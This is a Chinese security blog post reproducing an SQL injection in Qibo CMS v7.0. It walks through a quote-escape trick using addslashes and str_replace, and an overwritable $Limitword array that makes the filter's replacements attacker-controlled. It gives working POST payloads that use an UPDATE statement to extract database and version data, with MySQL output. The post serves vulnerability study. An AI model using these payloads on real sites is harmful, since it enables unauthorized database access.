齐博sql注入复现

Jun 6, 2018 09:54 · 313 words · 2 minute read 渗透

.

知识点

  • addslashes将%00转义为\0
  • str_replace函数参数可控。
  • 单引号逃逸小手法
  • update注入

复现版本 - 齐博v7.0

先走一遍利用流程

1.注册用户 2.修改信息 3.查看注入信息

1.注册用户 1

记住这里的uid,后面要用到。 2.修改信息

2 这里的几个参数需要注意一下。 3.查看信息

3 在这里我们已经可以看到我们注出的信息了。

原理分析

单引号逃逸小手法

看一段代码

<?php
@$a = $_GET['a'];
@$b = $_GET['b'];

$a = addslashes($a);
$b = addslashes($b);
$c = str_replace($a,'', $b); //$c = str_replace('0','', $b);

echo $a."<br>";
echo $b."<br>";
echo $c."<br>";
?>

url为http://127.0.0.1/45.php?a=0&b=%00'

输出结果

0
\0\'
\\'

由输出结果可以得到我们可以利用\\'的方式,来使单引号逃逸。

这里是因为addslashes函数对%00转义为\0,然后再利用str_replace函数,将0替换为空,这样就达到了目的。

知道了这种逃逸的手法,再来看齐博的这个注入。

齐博源码分析

/member/userinfo.php 第108-110行

		$truename=replace_bad_word($truename);
		$introduce=replace_bad_word($introduce);
		$address=replace_bad_word($address);

继续跟进这个replace_bad_word函数到/inc/function.inc.php的第375-383行

/*过滤不健康的字*/
function replace_bad_word($str){
	global $Limitword;
	@include_once(ROOT_PATH."data/limitword.php");
	foreach( $Limitword AS $old=>$new){
		strlen($old)>2 && $str=str_replace($old,trim($new),$str); //trim函数就是将字符两侧的空格去除
	}
	return $str;
}

这个函数就是将传入的\$str变量中的非法字符做替换,替换的内容来自于limitword文件。

再看一下limitword.php的内容

<?php 
$Limitword['造反']='造**';
$Limitword['法轮功']='法**功';

从这里看 \$Limitword数组并没有初始值。而且在replace_bad_word函数的定义里,声明了\$Limitword为全局变量。

于是可以尝试构造一个$Limitword值,我们可控的参数一般就是GET或者POST,在\inc\common.inc.php的42-49行是齐博处理传参的地方。代码如下

foreach($_COOKIE AS $_key=>$_value){
	unset($$_key);
}
foreach($_POST AS $_key=>$_value){
	!ereg("^\_[A-Z]+",$_key) && $$_key=$_POST[$_key];
}
foreach($_GET AS $_key=>$_value){
	!ereg("^\_[A-Z]+",$_key) && $$_key=$_GET[$_key];
}

看到这里,就很清晰了。可以通过构造一个GET或者POST参数来构造一个$Limitword的值。

这时再回头看replace_bad_word函数中str_replace函数的使用,就会发现三个参数都是可控的。

这时就可以使用最前面介绍的单引号逃逸的手法了。

但是齐博有一个过滤特殊字符的函数filtrate()

		$truename=filtrate($truename);
		$idcard=filtrate($idcard);
		$telephone=filtrate($telephone);
		$address=filtrate($address);
		$introduce=filtrate($introduce);
		$homepage=filtrate($homepage);
/**
*过滤安全字符
**/
function filtrate($msg){
	//$msg = str_replace('&','&amp;',$msg);
	//$msg = str_replace(' ','&nbsp;',$msg);
	$msg = str_replace('"','&quot;',$msg);
	$msg = str_replace("'",'&#39;',$msg);
	$msg = str_replace("<","&lt;",$msg);
	$msg = str_replace(">","&gt;",$msg);
	$msg = str_replace("\t","   &nbsp;  &nbsp;",$msg);
	//$msg = str_replace("\r","",$msg);
	$msg = str_replace("   "," &nbsp; ",$msg);
	return $msg;
}

这个函数限制了我们传入单引号,所以select注入是行不通了,但是update却可以。

简单看一下update注入的利用

update yang set name='1',password='1' where id=1;
update yang set name='1\',password=',password=(select version())#;1' where id=1;

就是这样将注的数据更新到我们可以查看的地方,就达到了注数据的目的。

更改用户数据的代码在/member/userinfo.php的

构造payload如下

http://127.0.0.1/cms/qibo_gbk/member/userinfo.php?job=edit&step=2

POST数据
truename=xxxx%0000&Limitword[000]=&email=1213@qq.com&old_password=123456&provinceid=

4 看到报错单引号已经转义。继续构造

http://127.0.0.1/cms/qibo_gbk/member/userinfo.php?job=edit&step=2

POST数据
truename=xxxx%0000&Limitword[000]=&email=1213@qq.com&old_password=123456&provinceid=,address=(select database()) where uid=2%23

然后就可以到个人信息页面查看结果。

update实验

mysql> select * from yang;
+------+------+----------+
| id   | name | password |
+------+------+----------+
|    1 | yang | yang     |
+------+------+----------+
1 row in set (0.06 sec)
mysql> update yang set name='1',password='1' where id=1;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0
mysql> select * from yang;
+------+------+----------+
| id   | name | password |
+------+------+----------+
|    1 | 1    | 1        |
+------+------+----------+
mysql> update yang set name='1\',password=',password=(select version())#;1' where id=1;
Query OK, 1 row affected (0.00 sec)
Rows matched: 1  Changed: 1  Warnings: 0
mysql> select * from yang;
+------+--------------+----------+
| id   | name         | password |
+------+--------------+----------+
|    1 | 1',password= | 5.5.53   |
+------+--------------+----------+
1 row in set (0.00 sec)

链接

tweet Share